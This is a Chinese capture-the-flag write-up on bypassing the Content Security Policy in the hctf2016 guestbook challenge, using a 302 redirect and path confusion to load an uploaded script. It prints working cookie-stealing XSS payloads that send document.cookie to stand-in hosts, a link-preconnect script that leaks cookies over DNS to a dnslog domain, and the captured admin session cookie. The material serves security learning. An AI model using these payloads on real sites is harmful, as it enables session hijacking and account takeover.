hctf2016_302跳转绕csp---总结

页面目录以下:php

register.php注册页面。html

user.php可发送消息给其余用户。web

profile.php可配置参数添加用户头像(加载eval js文件)。ajax

static存在redirect.php重定向页面。chrome

看下csp规则:跨域

default-src 'self'; script-src http://www.123.com/hctf2016_secret_area/static/ 'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA=' 'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg=' 'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ=' 'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg=' 'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc=' 'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4=' 'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I=' 'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ=' 'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw='; font-src http://www.123.com/hctf2016_secret_area/static/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

一、script没有开启unsafe-inline,也就是说不容许内联脚本(不能直接写js代码注入)
二、script只容许static目录,但这个目录下内容不可控
三、style-src开启了unsafe-inline并且是self
四、default-src为self,也就是站内请求都是被许可的浏览器

假如script开启了unsafe-inline的话,能够经过构造新开页面或者跳转来解决域限制,因为js能够任意构造,因此这里也就经过特别的方式绕过了本来的限制。这个题目就是hctf2016 guestbook的绕过csp思路服务器

<scrscriptipt>window.open("​http://xxxx:8080/cookie.asp?msg="+document.body​)</scrscriptipt>
<scrscriptipt>window.locatioonn.href%3d"http%3a//www.example.com/xss/write.php%3fdomain%3d"%2bescape(document.cookie)%3b</sscriptcript>
<scrscriptipt>var a=document.createElement("a");a.href='http://xss.com/?cookie='+escape(document.cookie);a.click();</sscriptcript>

攻击目标获:取admin的cookie。cookie

攻击思路:defalt-src是self,一、表示即便拿到cookie也只能在域内传送,因此只能将cookie传回注册用户afanti.user.php存在常规xss可是unsafe-inline不能写入js代码。要是引入js代码,引入的目录在/hctf2016_secret_area/static/这里不可控无法传入js,/hctf2016_secret_area/upload/这个目录咱们可控(经过上传头像写入代码),可是这个目录没有在script-src内,因此经过重定向绕过csp.到咱们可控的目录/hctf2016_secret_area/upload/app

二、能够拿到cookie向域外传送:由于/hctf2016_secret_area/upload/可控,在上传头像中写入打开新页面来传递cookie.

三、<script src="http://www.123.com/hctf2016_secret_area/static/..%2f..%2fupload/76eb335a573b564c6a02d2debda70402"></script>相似rpo绕过csp.

主要利用浏览器和服务器解析不一致绕过csp,浏览器会加载static下的..%2f..%2fupload/76eb335a573b564c6a02d2debda70402文件,这是没有跨域的。可是服务器会把%2f解析,跳俩个目录返回http://www.123.com/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402致使绕过csp,/upload咱们上传内容可控。

攻击流程:

1.注册afanti用户并上传头像,攻击代码会将admin的cookie发送到afanti用户下

说下把script标签去掉,截图中没去,要不会报错

二、给admin发送以下消息

<scscriptript src="http://www.123.com/hctf2016_secret_area/static/redirect.php?u=/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402"></scriscriptpt>

3.当admin用户访问时,加载js的时候,会经过redirect.php页面加载 /hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402这个js文件。

将admin的cookie发送给afanti用户。

4.afanti用户访问获得admin 的cookie

4.只是将上传头像内容改一下,把cookie传到外域测试。当管理员打开页面时,会打开新的页面并把cookie带出来。

 

 

测试:xhr设置到域外被default-src拦截。

link的prefetch被chrome的default-src被拦截:

link的preload也遵循csp规则,当as属性设置为image时,被csp的image-src拦截,假如设置的属性能够传递到外域,eg:img-src:*,就能够传递到外域了:

 

link的prerender在chrome经过测试,可是很迷触发方式不太清楚:

link中的preconnect(dns通道)最好用,能够chrome和firefox都能绕csp:

dc = document.cookie;
dcl = dc.split(";"); n0 = document.getElementsByTagName("HEAD")[0]; for (var i=0; i<dcl.length;i++) { console.log(dcl[i]); n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".on1sw1.ceye.io\">"; console.log(n0.innerHTML); }

打到以下cookie:

cookie格式:

admin=hctf2o16com30nag0gog0; path=/ PHPSESSID=fu6p3nm7fsdjo31vien84n3pr3; path=/ 
dnslog上的cookie: _20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io _20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io
 

最后,不是全部的页面都可以被预加载,当资源类型以下时:

URL中包含下载资源 页面中包含音频、视频 POST、PUT和DELET操做的ajax请求 HTTP认证 HTTPS页面 含恶意软件的页面 弹窗页面 占用资源不少的页面 打开了chrome developer tools开发工具

总结:

经过302跳转绕过js,跳到咱们可控的目录来执行js。

一、有跳转目录(登陆界面)

二、存在xss

三、可控目录咱们能够上传图像等文件

---------------------------------------------------------------------------------------

若是没有unsafe-inline的助攻,并且都是self的话,这样也只能寻求站内的上传点。

如下不算是绕过csp,属于绕过上传的内容检测

一、上传的swf内容

1.CWS <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://xss.xxxxx.cc', true); 
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('cookie='+document.cookie); </script>
<link rel='import' href='/upload/1.cws'>

二、上传jpeg带有js的jpg图片。

https://lorexxar.cn/2016/12/07/polyglot-JPEGs-bypass-csp/

三、上传gif或者音频文件webp

https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw

其余类型的之后在总结。

参考文章:

https://lorexxar.cn/2016/11/30/hctf2016-xss/

https://lorexxar.cn/2016/10/31/csp-then2/

http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html

相关文章
相关标签/搜索